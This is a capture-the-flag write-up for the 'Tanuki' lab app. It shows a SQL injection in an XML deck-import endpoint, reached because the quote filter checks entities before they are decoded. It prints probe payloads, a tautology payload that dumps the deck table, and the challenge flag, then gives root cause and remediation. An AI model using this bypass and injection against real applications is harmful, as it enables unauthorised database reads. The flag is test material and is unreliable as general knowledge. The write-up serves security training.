BugForge - Daily - Tanuki
Daily - Tanuki
Vulnerabilities Covered
Summary
Tanuki lets a user import a flash-card deck as XML through POST /api/decks/import. The deck name is concatenated into a SQL duplicate-check query, so the endpoint guards it with a blacklist that rejects a literal single quote and any numeric or hex character reference such as '. The catch is that the blacklist runs against the raw request bytes, before the XML parser decodes entities, and it is really an allowlist of standard XML entities. The standard entity ' is permitted, contains no literal quote in the raw body, and the parser decodes it to ' after validation. That single decoded quote lands in the concatenated query, and because the duplicate-check reflects the rows it matches back into the response, a tautology dumps the deck table, including a hidden official deck whose description holds the flag.
Reference
Finding the XML Sink
Register an account on Tanuki and use the My Decks page to import a deck. Watching the traffic in Caido, the import is the only request on the whole site that sends an XML body, a POST to /api/decks/import with Content-Type: application/xml:
<?xml version="1.0" encoding="UTF-8"?>
<deck>
<name>Testing</name>
<description>Test</description>
<category>Test</category>
<cards>
<card><front>Card1</front><back>Card Back</back></card>
</cards>
</deck>
A well-formed body comes back with {"imported":true,"id":5,...}, and a broken body returns {"error":"Could not parse XML deck export"}. That error confirms the server actually parses the XML rather than pattern-matching it, which matters later. With the hint pointing at SQL injection through XML, the job splits into two questions: which field reaches the database unsafely, and how do we get a quote past whatever guards it.

Locating the Injectable Field
The fastest way to find the concatenated field is to drop a single quote into each field and see which one the server treats as special. Putting ' in description, category, front and back imports cleanly and the quote is stored verbatim, which is exactly how a parameterized value behaves. The name field is different:
<name>Test'</name>
{"error":"Deck name contains an unsupported character"}
Only name gets a bespoke rejection for a quote. Defenders do not bother filtering fields that are safely parameterized, so a field that is singled out for quote-blocking is almost always the one being pasted straight into a query. name is the target.

Mapping the Blacklist
Before trying to be clever, it is worth learning exactly what the filter rejects and, just as importantly, what it lets through. Each probe below is a separate import with the payload placed in <name>:
<!-- numeric entity --> <name>Test'</name>
<!-- hex entity --> <name>Test'</name>
<!-- named (non-standard) --> <name>Test&q;</name>
<!-- harmless numeric --> <name>TestA</name>
<!-- CDATA wrapped quote --> <name><![CDATA[Test']]></name>
<!-- quote in a 2nd name --> <name>Safe</name><name>Evil'</name>
The responses draw a clear picture:
Payload in name | Response |
|---|---|
Test' | Deck name contains an unsupported character |
Test' | Unsupported entity reference in deck name: ' |
Test' | Unsupported entity reference in deck name: ' |
Test&q; | Unsupported entity reference in deck name: &q; |
TestA | Unsupported entity reference in deck name: A |
<![CDATA[Test']]> | Deck name contains an unsupported character |
Safe + Evil' | Deck name contains an unsupported character |
Two separate checks are at work. One rejects a literal ' anywhere in the value; the other rejects any entity reference of the form &...; and helpfully echoes the exact token it matched. The CDATA attempt is caught too, and splitting the payload across a second <name> does not help because the parser joins repeated <name> elements with a comma and the check sees the whole thing. Notably TestA (a harmless A) is still rejected purely for looking like an entity, which tells us the entity rule is blunt and syntactic, not based on what the reference decodes to.

From Blacklist to Allowlist
The entity rule looks airtight until you remember what the application itself must accept. One of Tanuki’s built-in decks is called “Planets & Moons”. When that deck is exported to XML, the ampersand has to be written as &, and the importer must accept it on the way back in. So the entity rule cannot be blocking every &...;; it has to permit the standard XML entities. Testing that assumption:
<name>Fish & Chips</name>
That imports and stores as Fish & Chips. So the rule is an allowlist of the standard XML entities (&, <, >, ", '), not a blacklist of dangerous ones. The numeric and hex forms are rejected, but the named standard entities pass.
Of those five, one decodes straight to a single quote: '. Crucially the blacklist scans the raw request body, where ' contains no ' character at all, and it is on the allowlist so the entity check waves it through. Only afterwards does the XML parser decode it to '. Sending it:
<name>AposProbe'X</name>
{"error":"Database error"}
A 500 database error. The decoded quote reached SQL and broke a query. That one response confirms both halves of the challenge at once: the blacklist is bypassed, and name really is concatenated into a statement.

Dumping the Deck Table
The vulnerable statement turns out to be a duplicate-name check that runs before the deck is saved, roughly SELECT name, description FROM decks WHERE name = '<name>', and it does something very convenient: when it finds matching decks, the API returns them. That turns the injection into a direct read. A tautology forces the WHERE clause to match every row:
<?xml version="1.0" encoding="UTF-8"?>
<deck>
<name>test' OR '1'='1</name>
<description>x</description>
<category>Test</category>
<cards><card><front>a</front><back>b</back></card></cards>
</deck>
The response stops treating this as a new import and instead reflects the entire deck table back, including an official deck that never appears in the normal listing:
{
"imported": false,
"message": "A deck with this name is already in the official library",
"matches": [
{ "name": "Planets & Moons", "description": "Learn about the planets..." },
{ "name": "Linux Trivia", "description": "Essential Linux commands..." },
{ "name": "JLPT N1 Certification Answer Key",
"description": "bug{mZ6NV6DPxyYmSBklxqq75av9M4GjCluN}" },
...
]
}
The flag sits in the description of the hidden “JLPT N1 Certification Answer Key” deck.

Impact
- Arbitrary read access to the application database through a single authenticated request
- Disclosure of a hidden official deck and the challenge flag not exposed by any normal endpoint
- A reflected duplicate-check turns blind injection into direct,
UNION-able data extraction - The input filter provides a false sense of safety while the underlying query stays concatenated
Vulnerability Classification
- OWASP Top 10: A03:2021 - Injection
- Vulnerability Type: SQL Injection via a filter bypass in XML input
- Attack Surface: The
namefield of thePOST /api/decks/importendpoint - CWE: CWE-89 - Improper Neutralization of Special Elements Used in an SQL Command
- CWE: CWE-184 - Incomplete List of Disallowed Inputs
- CWE: CWE-116 - Improper Encoding or Escaping of Output
Root Cause
The deck name is concatenated into a duplicate-check SELECT instead of being bound as a parameter. To compensate, the endpoint validates the raw request body against a blacklist, but the blacklist runs before the XML parser decodes entities, and it is implemented as an allowlist of standard XML entities. The standard ' entity is permitted, carries no literal quote in the raw bytes, and is decoded to ' only after validation, so the guarded character slips through and reaches SQL.
This vulnerability typically occurs when:
- Input is validated at the wrong layer, on the raw encoded form rather than the decoded value the query actually sees
- A denylist tries to enumerate dangerous characters instead of parameterizing the query
- Different code paths disagree on the value: the filter sees
'while the database sees'
Remediation
Fix the query, not the input:
- Use parameterized queries / prepared statements for the duplicate-check and every other statement that touches
name - Treat parameterization as the control; do not rely on character filtering to make a concatenated query safe
If validation is kept as defense in depth:
- Validate the decoded value the application will actually use, after XML parsing, not the raw request bytes
- Prefer an allowlist of acceptable characters for a deck name over a denylist of forbidden ones
Reduce blast radius:
- Do not reflect matched rows (especially other users’ or official
descriptionfields) back in the duplicate-check response - Disable DTD and external-entity processing on the XML parser to also close off XXE
- Ensure database errors return a generic message and are logged server-side rather than surfaced to the client